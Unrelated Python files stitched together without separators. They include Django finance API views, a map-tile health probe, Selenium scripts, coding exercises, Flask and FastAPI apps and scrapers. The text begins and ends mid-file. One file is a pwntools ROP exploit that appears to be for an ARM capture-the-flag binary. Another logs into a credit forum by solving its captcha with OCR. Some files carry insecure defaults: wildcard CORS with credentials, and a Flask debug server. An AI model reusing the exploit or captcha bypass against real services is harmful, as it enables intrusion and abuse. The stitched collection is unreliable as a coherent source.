        instance = get_object_or_404(LatestFinancialInfo, pk=pk)
        serializer = LatestFinancialInfoSerializer(instance)
        return Response(serializer.data)

    def update(self, request, pk=None):
        pass

    def partial_update(self, request, pk=None):
        instance = get_object_or_404(LatestFinancialInfo, pk=pk)
        serializer = LatestFinancialInfoSerializer(LatestFinancialInfo, data=request.data, partial=True)
        serializer.is_valid(raise_exception=True)
        serializer.save()
        return Response(serializer.data)

class LatestFinancialInfoUpdateAPIView(UpdateAPIView):
    serializer_class = LatestFinancialInfoSerializer

    def get_queryset(self):
        return LatestFinancialInfo.objects.all()

    def put(self, request, *args, **kwargs):
        Symbol = request.GET.get('symbol')
        if not Symbol:
            return Response({}, status=status.HTTP_404_NOT_FOUND)
        url = "https://svr1.fireant.vn/api/Data/Finance/LastestFinancialInfo"

        querystring = {
            "symbol": Symbol
        }

        headers = {
            'cache-control': "no-cache",
        }

        response = requests.request("GET", url, headers=headers, params=querystring)

        data = response.json()

        if not data or response.status_code != 200:
            return Response({}, status=status.HTTP_404_NOT_FOUND)

        filteredStock = Stock.objects.filter(Symbol=Symbol)
        if filteredStock.count() != 1:
            return Response({}, status=status.HTTP_404_NOT_FOUND)

        LatestFinancialInfo.objects.filter(Stock_id=filteredStock[0].id).delete()

        serializer = LatestFinancialInfoSerializer(data=data)
        if not serializer.is_valid():
            return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)
        serializer.save(Stock=filteredStock[0])
        return Response(serializer.data, status = status.HTTP_201_CREATED)

class LatestFinancialInfoFilterAPIView(APIView):
    def post(self, request, *args, **kwargs):
        symbols = request.data.get('symbols')

        if not symbols:
            return Response([])

        result = LatestFinancialInfo.objects.filter(Symbol__in=symbols)
        serializer = LatestFinancialInfoSerializer(result, many=True)
        return Response(serializer.data, status=status.HTTP_200_OK)

class YearlyFinancialInfoRetrieveAPIView(RetrieveAPIView):
    def get(self, request, *args, **kwargs):
        Symbol = request.GET.get('symbol')
        # Miss api to handle fromYear && toYear
        fromYear = request.GET.get('fromYear')
        toYear = request.GET.get('toYear')
        filterStocks = Stock.objects.filter(Symbol=Symbol)
        if filterStocks.count() != 1:
            return Response(None, status=status.HTTP_404_NOT_FOUND)
        result = YearlyFinancialInfo.objects.filter(Stock_id=filterStocks[0].id)
        if result.count() == 0:
            return Response(None, status=status.HTTP_404_NOT_FOUND)
        serializer = YearlyFinancialInfoSerializer(result, many=True)
        return Response(serializer.data, status=status.HTTP_201_CREATED)

class YearlyFinancialInfoUpdateAPIView(UpdateAPIView):
    serializer_class = YearlyFinancialInfoSerializer

    def get_queryset(self):
        return YearlyFinancialInfo.objects.all()

    def put(self, request, *args, **kwargs):
        Symbol = request.GET.get('symbol')
        if not Symbol:
            return Response({}, status=status.HTTP_404_NOT_FOUND)
        url = "https://svr1.fireant.vn/api/Data/Finance/YearlyFinancialInfo"

        querystring = {
            "symbol": Symbol,
            "fromYear": "2016",
            "toYear": "2019"
        }

        headers = {
            'cache-control': "no-cache",
        }

        response = requests.request("GET", url, headers=headers, params=querystring)

        data = response.json()

        if not data or response.status_code != 200:
            return Response({}, status=status.HTTP_404_NOT_FOUND)

        filteredStock = Stock.objects.filter(Symbol=Symbol)
        if filteredStock.count() != 1:
            return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)

        YearlyFinancialInfo.objects.filter(Stock_id=filteredStock[0].id).delete()
        serializer = YearlyFinancialInfoSerializer(data=data, many=True)
        if not serializer.is_valid():
            return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)

        serializer.save(Stock=filteredStock[0])
        return Response(serializer.data, status = status.HTTP_201_CREATED)

class YearlyFinancialInfoFilterAPIView(APIView):
     def post(self, request, *args, **kwargs):
        ICBCode = request.data.get('ICBCode')

        if not ICBCode:
            return Response({'Error': 'No ICBCode'})
        result = []

        filteredCompany = Company.objects.filter(ICBCode=ICBCode)
        filteredStocks = Stock.objects.filter(Symbol__in=[i.Symbol for i in filteredCompany])
        result = YearlyFinancialInfo.objects.filter(Q(Stock_id__in=[i.id for i in filteredStocks]))

        serializer = YearlyFinancialInfoSerializer(result, many=True)
        return Response(serializer.data, status=status.HTTP_200_OK)

class QuarterlyFinancialInfoRetrieveAPIView(RetrieveAPIView):
    def get(self, request, *args, **kwargs):
        Symbol = request.GET.get('symbol')
        # Miss api to handle fromYear && toYear
        fromYear = request.GET.get('fromYear')
        toYear = request.GET.get('toYear')
        filterStocks = Stock.objects.filter(Symbol=Symbol)
        if filterStocks.count() != 1:
            return Response(None, status=status.HTTP_404_NOT_FOUND)

        result = QuarterlyFinancialInfo.objects.filter(Stock_id=filterStocks[0].id)
        if result.count() == 0:
            return Response(None, status=status.HTTP_404_NOT_FOUND)

        serializer = QuarterlyFinancialInfoSerializer(result, many=True)
        return Response(serializer.data, status=status.HTTP_201_CREATED)

class QuarterlyFinancialInfoUpdateAPIView(UpdateAPIView):
    serializer_class = QuarterlyFinancialInfoSerializer

    def get_queryset(self):
        return QuarterlyFinancialInfo.objects.all()

    def put(self, request, *args, **kwargs):
        Symbol = request.GET.get('symbol')
        if not Symbol:
            return Response({}, status=status.HTTP_404_NOT_FOUND)
        url = "https://svr1.fireant.vn/api/Data/Finance/QuarterlyFinancialInfo"

        querystring = {
            "symbol": Symbol,
            "fromYear": "2016",
            "fromQuarter": "1",
            "toYear": "2020",
            "toQuarter": "4"
        }

        headers = {
            'cache-control': "no-cache",
        }

        response = requests.request("GET", url, headers=headers, params=querystring)

        data = response.json()

        if not data or response.status_code != 200:
            return Response({}, status=status.HTTP_404_NOT_FOUND)

        filteredStock = Stock.objects.filter(Symbol=Symbol)
        if filteredStock.count() != 1:
            return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)
        QuarterlyFinancialInfo.objects.filter(Stock_id=filteredStock[0].id).delete()
        serializer = QuarterlyFinancialInfoSerializer(data=data, many=True)
        if not serializer.is_valid():
            return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)

        serializer.save(Stock=filteredStock[0])
        return Response(serializer.data, status = status.HTTP_201_CREATED)

class QuarterlyFinancialInfoFilterAPIView(APIView):
    def post(self, request, *args, **kwargs):
        ICBCode = request.data.get('ICBCode')
        symbol = request.data.get('symbol')

        if not ICBCode and not symbol:
            return Response({'Error': 'No ICBCode and symbol'})
        result = []

        if ICBCode and not symbol:
            filteredCompany = Company.objects.filter(ICBCode=ICBCode)
            filteredStocks = Stock.objects.filter(Symbol__in=[i.Symbol for i in filteredCompany])
            result = QuarterlyFinancialInfo.objects.filter(Q(Stock_id__in=[i.id for i in filteredStocks]))

            serializer = QuarterlyFinancialInfoSerializer(result, many=True)
            return Response(serializer.data, status=status.HTTP_200_OK)

        if symbol and not ICBCode:
            filteredCompany = Company.objects.filter(Symbol=symbol)
            filteredStocks = Stock.objects.filter(Symbol__in=[i.Symbol for i in filteredCompany])
            result = QuarterlyFinancialInfo.objects.filter(Q(Stock_id__in=[i.id for i in filteredStocks]))

            serializer = QuarterlyFinancialInfoSerializer(result, many=True)
            return Response(serializer.data, status=status.HTTP_200_OK)

        return Response({})

class LastestFinancialReportsRetrieveAPIView(RetrieveAPIView):
    def get(self, request, *args, **kwargs):
        Symbol = request.GET.get('symbol')
        type = request.GET.get('type')
        year = request.GET.get('year')
        quarter = request.GET.get('quarter')
        count = request.GET.get('count')
        filterStocks = Stock.objects.filter(Symbol=Symbol)
        if filterStocks.count() != 1:
            return Response(None, status=status.HTTP_404_NOT_FOUND)
        industryType = get_industry_type(Symbol)
        result = LastestFinancialReportsName.objects.filter(Q(Type=type) & Q(IndustryType=industryType))

        if result.count() == 0:
            return Response({}, status=status.HTTP_404_NOT_FOUND)
        serializer = LastestFinancialReportsSerializer(result, context={'year': year, 'quarter': quarter, 'type': type, 'stock_id': filterStocks[0].id}, many=True)
        return Response(serializer.data, status=status.HTTP_201_CREATED)

class LastestFinancialReportsNameUpdateAPIView(UpdateAPIView):
    def get_queryset(self):
        return LastestFinancialReports.objects.all()

    def put(self, request, *args, **kwargs):
        Symbol = request.GET.get('symbol')
        type = request.GET.get('type')
        year = request.GET.get('year')
        quarter = request.GET.get('quarter')
        count = request.GET.get('count')
        if not Symbol or not type or not year or not quarter or not count:
            return Response({}, status=status.HTTP_404_NOT_FOUND)
        url = "https://svr1.fireant.vn/api/Data/Finance/LastestFinancialReports"

        querystring = {
            "symbol": Symbol,
            "type": type,
            "year": year,
            "quarter": quarter,
            "count": count
        }

        headers = {
            'cache-control': "no-cache",
        }

        response = requests.request("GET", url, headers=headers, params=querystring)

        data = response.json()

        if not data or response.status_code != 200:
            return Response({}, status=status.HTTP_404_NOT_FOUND)

        industryType = get_industry_type(Symbol)
        LastestFinancialReportsName.objects.filter(Q(Type=type) & Q(IndustryType=industryType)).delete()

        for item in data:
            item['Type'] = type
            item['IndustryType'] = industryType

        serializer = LastestFinancialReportsNameSerializer(data=data, many=True)
        if not serializer.is_valid():
            return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)

        serializer.save()
        return Response(serializer.data, status = status.HTTP_201_CREATED)

class LastestFinancialReportsValueUpdateAPIView(UpdateAPIView):
    def get_queryset(self):
        return LastestFinancialReports.objects.all()

    def put(self, request, *args, **kwargs):
        Symbol = request.GET.get('symbol')
        type = request.GET.get('type')
        year = request.GET.get('year')
        quarter = request.GET.get('quarter')
        count = request.GET.get('count')
        if not Symbol or not type or not year or not quarter or not count:
            return Response({}, status=status.HTTP_404_NOT_FOUND)
        url = "https://svr1.fireant.vn/api/Data/Finance/LastestFinancialReports"

        querystring = {
            "symbol": Symbol,
            "type": type,
            "year": year,
            "quarter": quarter,
            "count": count
        }

        headers = {
            'cache-control': "no-cache",
        }

        response = requests.request("GET", url, headers=headers, params=querystring)

        data = response.json()

        if not data or response.status_code != 200:
            return Response({}, status=status.HTTP_404_NOT_FOUND)

        filteredStock = Stock.objects.filter(Symbol=Symbol)
        if filteredStock.count() != 1:
            return Response({}, status=status.HTTP_404_NOT_FOUND)

        # DELETE ALL DATA FROM 2020
        LastestFinancialReportsValue.objects.filter(
            Q(Stock_id=filteredStock[0].id)
            & Q(Type=type)
            & Q(Year=2020)
        ).delete()

        # ONLY GET DATA FROM 2020
        filterData(data)

        mappedData = mapData(data, type)
        # print(data)
        serializer = LastestFinancialReportsValueSerializer(data=mappedData, many=True)
        if not serializer.is_valid():
            return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)

        serializer.save(Stock=filteredStock[0])
        return Response(serializer.data, status = status.HTTP_201_CREATED)


from GeoHealthCheck.probe import Probe
from GeoHealthCheck.plugin import Plugin
from owslib.tms import TileMapService

class TmsCaps(Probe):
    """Probe for TMS main endpoint url"""

    NAME = 'TMS Capabilities'
    DESCRIPTION = 'Perform TMS Capabilities Operation and check validity'
    RESOURCE_TYPE = 'OSGeo:TMS'

    REQUEST_METHOD = 'GET'

    def __init__(self):
        Probe.__init__(self)

    CHECKS_AVAIL = {
        'GeoHealthCheck.plugins.check.checks.HttpStatusNoError': {
            'default': True
        },
        'GeoHealthCheck.plugins.check.checks.XmlParse': {
            'default': True
        },
        'GeoHealthCheck.plugins.check.checks.ContainsStrings': {
            'default': True,
            'set_params': {
                'strings': {
                    'name': 'Must contain TileMap Element',
                    'value': ['TileMap']
                }
            }
        },
    }
    """
    Checks avail for all specific Caps checks.
    Optionally override Check.PARAM_DEFS using set_params
    e.g. with specific `value` or even `name`.
    """

class TmsGetTile(Probe):
    """Fetch TMS tile and check result"""

    NAME = 'TMS GetTile Single - get SINGLE Tile Image'
    DESCRIPTION = """Fetch SINGLE TMS-tile. NB extension
                  should match last string of layer."""
    RESOURCE_TYPE = 'OSGeo:TMS'

    REQUEST_METHOD = 'GET'

    # e.g. http://geodata.nationaalgeoregister.nl/tms/1.0.0/
    # brtachtergrondkaart/1/0/0.png
    REQUEST_TEMPLATE = '/{layer}/{zoom}/{x}/{y}.{extension}'

    PARAM_DEFS = {
        'layer': {
            'type': 'string',
            'description': 'The TMS Layer within resource endpoint',
            'default': None,
            'required': True,
            'range': None
        },
        'zoom': {
            'type': 'string',
            'description': 'The tile pyramid zoomlevel',
            'default': '0',
            'required': True,
            'range': None
        },
        'x': {
            'type': 'string',
            'description': 'The tile x offset',
            'default': '0',
            'required': True,
            'range': None
        },
        'y': {
            'type': 'string',
            'description': 'The tile y offset',
            'default': '0',
            'required': True,
            'range': None
        },
        'extension': {
            'type': 'string',
            'description': 'The tile image extension',
            'default': 'png',
            'required': True,
            'range': None
        }
    }
    """Param defs"""

    CHECKS_AVAIL = {
        'GeoHealthCheck.plugins.check.checks.HttpHasImageContentType': {
            'default': True
        }
    }
    """Check for TMS GetTile"""

    def __init__(self):
        Probe.__init__(self)
        self.layer_count = 0

    def get_metadata(self, resource, version='1.0.0'):
        """
        Get metadata, specific per Resource type.
        :param resource:
        :param version:
        :return: Metadata object
        """
        return TileMapService(resource.url, version=version,
                              headers=self.get_request_headers())

    # Overridden: expand param-ranges from WMS metadata
    def expand_params(self, resource):

        # Use WMS Capabilities doc to get metadata for
        # PARAM_DEFS ranges/defaults
        try:
            tms = self.get_metadata_cached(resource, version='1.0.0')

            layers = tms.contents
            self.layer_count = len(layers)

            # Determine Layers and Extensions
            layer_list = [layer_name.split('1.0.0/')[-1]
                          for layer_name in layers]
            self.PARAM_DEFS['layer']['range'] = layer_list

            # Make a set of all extensions
            extensions = set([layer.extension
                              for layer_name, layer in layers.items()])
            self.PARAM_DEFS['extension']['range'] = list(extensions)
        except Exception as err:
            raise err

class TmsGetTileAll(TmsGetTile):
    """
    Get TMS map image for each Layer using the TMS GetTile operation.
    """

    NAME = 'TMS GetTile All - get Tile Image for ALL Layers'
    DESCRIPTION = """
    Do TMS GetTile request for each Layer.
    """
    PARAM_DEFS = Plugin.merge(TmsGetTile.PARAM_DEFS, {})

    def __init__(self):
        TmsGetTile.__init__(self)
        self.tms = None
        self.layers = None

    # Overridden: expand param-ranges from TMS metadata
    # from single-layer GetTile parent Probe and set layers
    # fixed to *
    def expand_params(self, resource):
        TmsGetTile.expand_params(self, resource)
        layer_val = 'all %d layers' % self.layer_count
        extension_val = 'all extensions'

        self.PARAM_DEFS['layer']['range'] = [layer_val]
        self.PARAM_DEFS['layer']['value'] = layer_val
        self.PARAM_DEFS['layer']['default'] = layer_val

        self.PARAM_DEFS['extension']['range'] = [extension_val]
        self.PARAM_DEFS['extension']['value'] = extension_val
        self.PARAM_DEFS['extension']['default'] = extension_val

    def before_request(self):
        """ Before request to service, overridden from base class"""

        # Get capabilities doc to get all layers
        try:
            self.tms = self.get_metadata_cached(self._resource,
                                                version='1.0.0')
            self.layers = self.tms.contents
        except Exception as err:
            self.result.set(False, str(err))

    def perform_request(self):
        """ Perform actual request to service, overridden from base class"""

        if not self.layers:
            self.result.set(False, 'Found no TMS Layers')
            return

        self.result.start()

        results_failed_total = []
        for layer_name in self.layers.keys():
            # Layer name is last part of full URL
            self._parameters['layer'] = layer_name.split('1.0.0/')[-1]
            self._parameters['extension'] = self.layers[layer_name].extension

            # Let the templated parent perform
            Probe.perform_request(self)
            self.run_checks()

            # Only keep failed Layer results
            # otherwise with 100s of Layers the report grows out of hand...
            results_failed = self.result.results_failed
            if len(results_failed) > 0:
                # We have a failed layer: add to result message
                for result in results_failed:
                    result.message = 'layer %s: %s' % \
                                     (layer_name, result.message)

                results_failed_total += results_failed
                self.result.results_failed = []

            self.result.results = []

        self.result.results_failed = results_failed_total
        self.result.results = results_failed_total


####################################################################
# Skeleton for Selenium tests on Sauce Labs
####################################################################

###################################################################
# Imports that are good to use
###################################################################
from selenium import webdriver
from selenium.webdriver.chrome.options import Options as ChromeOptions
from time import sleep
import os
import urllib3
import json
import random

###################################################################
# Selenium with Python doesn't like using HTTPS correctly
# and displays a warning that it uses Unverified HTTPS request
# The following disables that warning to clear the clutter
# But I should find a way to do the proper requests
###################################################################
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
###################################################################
# Select Data Center
# Set region to 'US' or 'EU'
# Test will default to 'US' if left blank or set to any other than 'US' or 'EU'
###################################################################
region = 'US'
###################################################################
# Test Configuration Options
options = ChromeOptions()
options.browser_version = '114'
options.platform_name  = 'Windows 10'
options.add_argument("--deny-permission-prompts")

sauceParameters = {
    # Sauce Specific Options
        'tags':[''],
        'build': 'Sauce Orchestrate',
        'name': 'Sauce Orchestrate Demo',
        'seleniumVersion': '4',
}
options.set_capability('sauce:options', sauceParameters)

###################################################################
# Connect to Sauce Labs
try:
    region
except NameError:
    region = 'EU'

if region == 'US':
    print('You are using the US data center for a Desktop test, rockstar!')
    driver = webdriver.Remote(
        command_executor='https://'+os.environ['SAUCE_USERNAME']+':'+os.environ['SAUCE_ACCESS_KEY']+'@ondemand.us-west-1.saucelabs.com:443/wd/hub',
        options=options)
elif region == 'EU':
    print ('You are using the EU data center for a Desktop test, you beautiful tropical fish!')
    driver = webdriver.Remote(
        command_executor='https://'+os.environ['SAUCE_USERNAME']+':'+os.environ['SAUCE_ACCESS_KEY']+'@ondemand.eu-central-1.saucelabs.com:443/wd/hub',
        options=options)

###################################################################
# Test logic goes here
###################################################################
# Navigating to a website and doing the same thing over and over to replicate a long test

driver.get('https://www.duckduckgo.com')
interact = driver.find_element("id","searchbox_input")
interact.clear()
 # # # Using the selected element
interact.send_keys('puppies')
interact.submit()

count = 0
while count < 3000:
  # Your code here
  interact1 = driver.find_element("id","search_form_input")
  # interact1.clear()
  # # # # Using the selected element
  # interact1.send_keys('puppies')
  # interact1.submit()
  count += 1

# Setting the job status to passed
driver.execute_script('sauce:job-result=passed')

# Ending the test session
driver.quit()


from selenium.webdriver.common.by import By #用于指定 HTML 文件中 DOM 标签元素
from selenium.webdriver.support.ui import WebDriverWait #等待网页加载完成
from selenium.webdriver.support import expected_conditions as EC #指定等待网页加载结束条
from selenium.webdriver.common.action_chains import ActionChains
from selenium import webdriver
import pyautogui
import ddddocr
import time
import os

def login():
    # 打开 url
    driver = webdriver.Chrome()
    driver.get('https://h5.51credit.com/www/login/login.html?service=https%3A%2F%2Fbbs.51credit.com%2F')

    # 点击手机密码输入
    driver.find_element_by_xpath('/html/body/div[3]/div/div[1]/ul/li[2]').click()
    time.sleep(1)

    # 提交账号密码
    driver.find_element_by_xpath('//*[@id="userName"]').send_keys('your')
    driver.find_element_by_xpath('//*[@id="userPwd"]').send_keys('your')

    # 点击登录
    driver.find_element_by_xpath('//*[@id="userLoginBtn"]').click()
    WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.ID, 'captchaImgPwdLogin')))

    # 提交验证码
    while True:
        # 先判断之前运行的验证码还在吗，在删除
        if os.path.exists(r'C:\Users\DELL\Downloads\init.jfif'):
            os.remove(r'C:\Users\DELL\Downloads\init.jfif')
        else:
            pass
        # 获得验证码链接
        cap_url = driver.find_element_by_xpath('//*[@id="captchaImgPwdLogin"]').get_attribute('src')
        # 在同一窗口打开验证码链接
        driver.execute_script("window.open();")
        handles = driver.window_handles
        driver.switch_to.window(handles[-1])
        driver.get(cap_url)
        # 右键保存图片
        pic = driver.find_element_by_xpath('/html/body/img')  # 获取元素
        action = ActionChains(driver).move_to_element(pic)  # 移动到该元素
        action.context_click(pic)  # 右键点击该元素
        action.perform()  # 执行
        pyautogui.typewrite(['v'])  # 敲击V进行保存
        # 单击图片另存之后等1s敲回车，再等两秒等待图片下载
        time.sleep(1)
        pyautogui.typewrite(['enter'])
        time.sleep(2)
        # 识别图片，回到登录页提交
        code = OCR()
        driver.close()
        driver.switch_to.window(handles[0])
        driver.find_element_by_xpath('//*[@id="inputJcaptchaPwdLogin"]').send_keys(code)
        # 点击登录
        driver.find_element_by_xpath('//*[@id="userLoginBtn"]').click()
        try: # 识别错误
            WebDriverWait(driver,3).until(EC.presence_of_element_located((By.ID,'tab-社区首页')))
            input('登录成功！！！')
            break
        except:
            continue

def OCR():
    '''
    OCR 识别
    :return:
    '''
    ocr = ddddocr.DdddOcr()
    with open(r'C:\Users\DELL\Downloads\init.jfif', 'rb') as f:
        img_bytes = f.read()
    res = ocr.classification(img_bytes)
    #print(res)
    return res

if __name__ == '__main__':
    login()


# 더하기 사이클

n = int(input())
num = n
cnt = 0

while True:
  a = num // 10 # 정수 부분의 몫
  b = num % 10 # 나머지 부분
  c = (a + b) % 10 # 새로운 수 더한 값의 나머지
  num = (b * 10) + c # 십의 자리로 만들고 새로운 나머지 더해서 새로운 수 생성

  cnt = cnt + 1 # 새로운 수 만들때마다 1씩 더하기
  if(num == n): # 처음 수와 같아지면 멈추기
    break

print(cnt)


"""
String Like Square
Create a function that takes a number and returns a string like square.

Examples
create_square(-1) ➞ ""

create_square(0) ➞ ""

create_square(1) ➞ "#"

create_square(2) ➞ "##\n##"

create_square(3) ➞ "###\n# #\n###"

create_square(4) ➞ "####\n#  #\n#  #\n####"
"####
#  #
#  #
####"
"""
def create_square(length):

	# v3
	if length == None or length < 1:
		return ""
	elif length == 1:
		return "#"
	else:
		top = ["#" * length]
		bot = ["#" * length]
		mid = ["#" + " " * (length-2) + "#"] * (length-2)
		return '\n'.join(top+mid+bot)

		# return "#" * length + "\n" + ("#" + " " * (length-2) + '#\n') * (length-2) + "#" * length

	# v2
	# if length == None or length < 1:
	# 	return ""
	# if length == 1:
	# 	return "#"
	# square = "#" * length + "\n"
	# for i in range(1, length - 1):
	# 	square += "#" + (" " * (length -2)) + "#\n"
	# square += "#" * length
	# return square

	# V1
	# up = list("#" * length)
	# bottom = '#' * length
	#
	# interim_num = length - 2
	#
	# temp = []
	#
	# if length <= 0:
	# 	return ""
	# elif length == 1:
	# 	return "#"
	# else:
	# 	for key, val in enumerate(up):
	# 		if key != 0:
	# 			temp.append(" ")
	# 		else:
	# 			temp.append(val)
	# 	temp[-1] = "#"
	# 	interim = ''.join(temp)
	#
	# 	text = ""
	# 	for i in ''.join(up) + "\n", (interim + "\n") * interim_num + bottom:
	# 		text += i
	# 	return text

print(create_square(0))
print(create_square(1))
print(create_square(3))
print(create_square(4))
print(create_square(10))


import os
from utils.api_base import APIBase

class OrderPostAPI(APIBase):

    def __init__(self, session, prime = '', order = ''):
        super().__init__(session)
        self.prime = prime
        self.order = order
        self.payload = {
            "prime": self.prime,
            "order": self.order
        }

    def send_post_order(self):
        url = os.environ.get('API_DOMAIN') + '/order'
        self.api_request("post", url, json = self.payload)
        return self


#!/usr/bin/env python3

from flask import Flask, request, jsonify
import requests

app = Flask(__name__)

my_map = {}
my_peers = ['http://127.0.0.1:2021/']

@app.route('/')
def basic():
    return 'Server is running...'

@app.route('/add', methods = ['POST'])
def __add__():
    data = request.get_json()

    key = int(data['key'])
    value = data['value']

    if key in my_map :
        pass
    else:
        my_map[key] = value
        for peer in my_peers:
            requests.post(peer + 'add', json = data)
            print('\nsent {}:{} to {}\n'.format(data['key'], data['value'], peer))
        return 'Set {} : {} successfully!'.format(key, value)
    return 'Key already in map'

@app.route('/list', methods = ['GET'])
def __list__():
    return jsonify(my_map)

if __name__ == '__main__':
    app.run(host = '', port = 2020, debug = True)


def isexist(s):
    try:
        f=open(s,mode="r",encoding="gb2312")
    except IOError:
       return 0
    f.close()
    return 1
def submit(htm,sleept,flag):
    import requests,time
    while 1:
        der=0
        try:
            r=requests.get(htm)
            r.raise_for_status()
            if flag==1:
                r.encoding=r.apparent_encoding
        except Exception :
            print("获取Url失败,继续尝试")
            time.sleep(sleept)
            der=3
        if der==0 :
            break
    w=r.text
    return w

def wrhtml(text,num,how,hou):#将查询到的网页写入文件
    num=str(num)
    num=num+"."+hou
    if how==2:
        f=open(num,mode="r",encoding="utf-8")
        q=f.read()
        return q
    f=open(num,mode="w",encoding="utf-8")
    f.write(text)
    f.close()
    return "Successfully!"
def realine(f):
    w=[]
    while 1:
        date=f.readline()
        if not date:
            break
        w.append(date[0:len(date)-1])
    print(w)
    return w


from pwn import *

BINARY = "./split_armv5"
ELF = ELF(BINARY)

context.os = "linux"
context.arch = "arm"
context.binary = BINARY

p = remote("0.0.0.0", 8888)
pause()
rop = b"A" * 0x24
rop += p32(0x00010658) # POP     {R3,PC}
rop += p32(0x0002103C)   # 字符串地址
rop += p32(0x00010558)  # mov r0, r3 ; pop {fp, pc}

rop += b"AAAA"
rop += p32(0x000103EC)

p.recvuntil(b"> ")
p.sendline(rop)
print(p.recvline_contains(b"ROPE"))


import urllib3
import collections
import json
import csv
from datetime import datetime

http = urllib3.PoolManager()
report = {}
def authorize(http):
    encoded_data = json.dumps({'name': 'preset_secret_name',
                               'secret': 'preset_token_secret'})
    resp = http.request(
        "POST",
        "https://manage.app.preset.io/api/v1/auth/",
        retries=urllib3.util.Retry(3),
        headers={'Content-Type': 'application/json'},
        body=encoded_data
    )

    data = json.loads(resp.data)
    auth_token = data["payload"]["access_token"]
    print('auth_token has been cerated!')
    return auth_token

def check_if_in_list_of_dict(dict, value, ent):
    """Check if given key exists in list of dictionaries """
    if value in dict:
        if ent in dict[value]:
            return True
    return False

def create_preset_reports(http, auth_token):
    header = {'Authorization': 'Bearer ' + auth_token}
    page_size = 50
    page_num = 0
    user_dataset = collections.defaultdict(dict)
    entities = ['chart', 'dashboard', 'dataset']

    for ent in entities:
        url = f"https://{dashboard_id}.us1a.app.preset.io/api/v1/{ent}/?q=(order_column:changed_on_delta_humanized,order_direction:desc,page:{page_num},page_size:{page_size})"
        print(url)
        while(1):
            resp = http.request(
                "GET",
                url,
                retries=urllib3.util.Retry(3),
                headers=header
            )
            data = json.loads(resp.data)
            if(not data['result']):
            #if(page_num == 1):
                break

            results = data['result']

            for res in results:
                for owner in res['owners']:
                    full_name = f"{owner['first_name']} {owner['last_name']}"
                    if check_if_in_list_of_dict(user_dataset, full_name, ent):
                        user_dataset[full_name][ent] += 1
                    else:
                        user_dataset[full_name][ent] = 1

            page_num += 1
            url = f"https://{dashboard_id}.us1a.app.preset.io/api/v1/{ent}/?q=(order_column:changed_on_delta_humanized,order_direction:desc,page:{page_num},page_size:{page_size})"
        page_num = 0

    return user_dataset

def write_to_csv(user_dataset):
    row = []
    with open('preset-user.csv', 'w') as ofile:
        wr = csv.writer(ofile)
        wr.writerow(['user','dataset_count','dashboard_count','chart_count','date'])
        entities = ['dataset', 'dashboard', 'chart']
        for user in user_dataset:
            row.append(user)
            for ent in entities:
                if check_if_in_list_of_dict(user_dataset, user, ent):
                    row.append(user_dataset[user][ent])
                else:
                    row.append(0)
            row.append(datetime.today().strftime('%Y-%m-%d'))
            wr.writerow(row)
            row = []

token = authorize(http)
report = create_preset_reports(http, token)
print(report)
write_to_csv(report)


from fastapi import Depends, FastAPI, HTTPException
from fastapi.middleware.cors import CORSMiddleware
from sqlalchemy.orm import Session

from database import SessionLocal, engine, get_db

import crud
import models
import schemas

models.Base.metadata.create_all(bind=engine)

app = FastAPI()

origins = [
    "http://localhost:3000",
    "http://localhost:3000/react-wheelmap",
    "https://monika-osiak.github.io/react-wheelmap/"
]

app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    allow_credentials=True,
    allow_methods=["*"],
    allow_headers=["*"],
)

@app.get("/")
async def root():
    return {"message": "Hello World"}

@app.get("/hello/{name}")
async def say_hello(name: str):
    return {"message": f"Hello {name}"}

@app.post("/points/", response_model=schemas.Point)
def create_point(point: schemas.PointCreate, db: Session = Depends(get_db)):
    db_point = crud.get_point_by_lat_lng(db, point.lat, point.lng)
    if db_point:
        raise HTTPException(status_code=400, detail="This point already exists")
    return crud.create_point(db=db, point=point)

@app.get("/points/", response_model=list[schemas.Point])
def read_points(skip: int = 0, limit: int = 100, db: Session = Depends(get_db)):
    points = crud.get_points(db, skip=skip, limit=limit)
    return points

@app.get("/points/{point_id}", response_model=schemas.Point)
def read_point(point_id: int, db: Session = Depends(get_db)):
    db_point = crud.get_point(db, point_id=point_id)
    if db_point is None:
        raise HTTPException(status_code=404, detail="Point not found")
    return db_point

@app.delete("/points/{point_id}")
def delete_point(point_id: int, db: Session = Depends(get_db)):
    return crud.delete_point(db, point_id)

@app.post("/places/", response_model=schemas.Place)
def create_place(place: schemas.PlaceCreate, db: Session = Depends(get_db)):
    db_place = crud.get_place_by_lat_lng(db, place.lat, place.lng)
    if db_place:
        raise HTTPException(status_code=400, detail="This place already exists")
    return crud.create_place(db=db, place=place)

@app.get("/places/", response_model=list[schemas.Place])
def read_places(skip: int = 0, limit: int = 100, db: Session = Depends(get_db)):
    places = crud.get_places(db, skip=skip, limit=limit)
    return places

@app.get("/places/{place_id}", response_model=schemas.Place)
def read_place(place_id: int, db: Session = Depends(get_db)):
    db_place = crud.get_place(db, place_id=place_id)
    if db_place is None:
        raise HTTPException(status_code=404, detail="Place not found")
    return db_place

@app.delete("/places/{place_id}")
def delete_place(place_id: int, db: Session = Depends(get_db)):
    return crud.delete_place(db, place_id)


import argparse
from bs4 import BeautifulSoup
import urllib.request
import urllib.parse
import time

zaycev_net_find = "http://zaycev.net/search.html?query_search="
zaycev_net = "http://zaycev.net"

def get_track_list_from_file(filename):
	track_file = open(filename, 'r')
	track_list = [];
	for temp_string in track_file:
		temp_string = temp_string.replace('-', '')
		i = temp_string.find('.')
		if i != -1:
			temp_string = temp_string[i + 1:]
			temp_string = temp_string.strip()
			temp_string = ' '.join(temp_string.split())
			track_list.append(temp_string)
		else:
			print("Parsing file error - can't find . in track name")
			return

	return track_list

def create_url(track):
	url = zaycev_net_find
	temp_list = track.split()
	for temp_string in temp_list:
		url = url + '+' + urllib.parse.quote(temp_string.encode('utf-8'))
	return url

def get_mp3_link_from_page(url):
	response = urllib.request.urlopen(url)
	soup = BeautifulSoup(response)
	mp3_links = soup.find_all('a', {"class": "audiotrack-button__label track-geo__button track-geo__link"})
	if (len(mp3_links) > 0):
		return mp3_links[0]["href"]

	return

def download_track_list(track_list):
	out_file = open("not_found.txt", 'w')
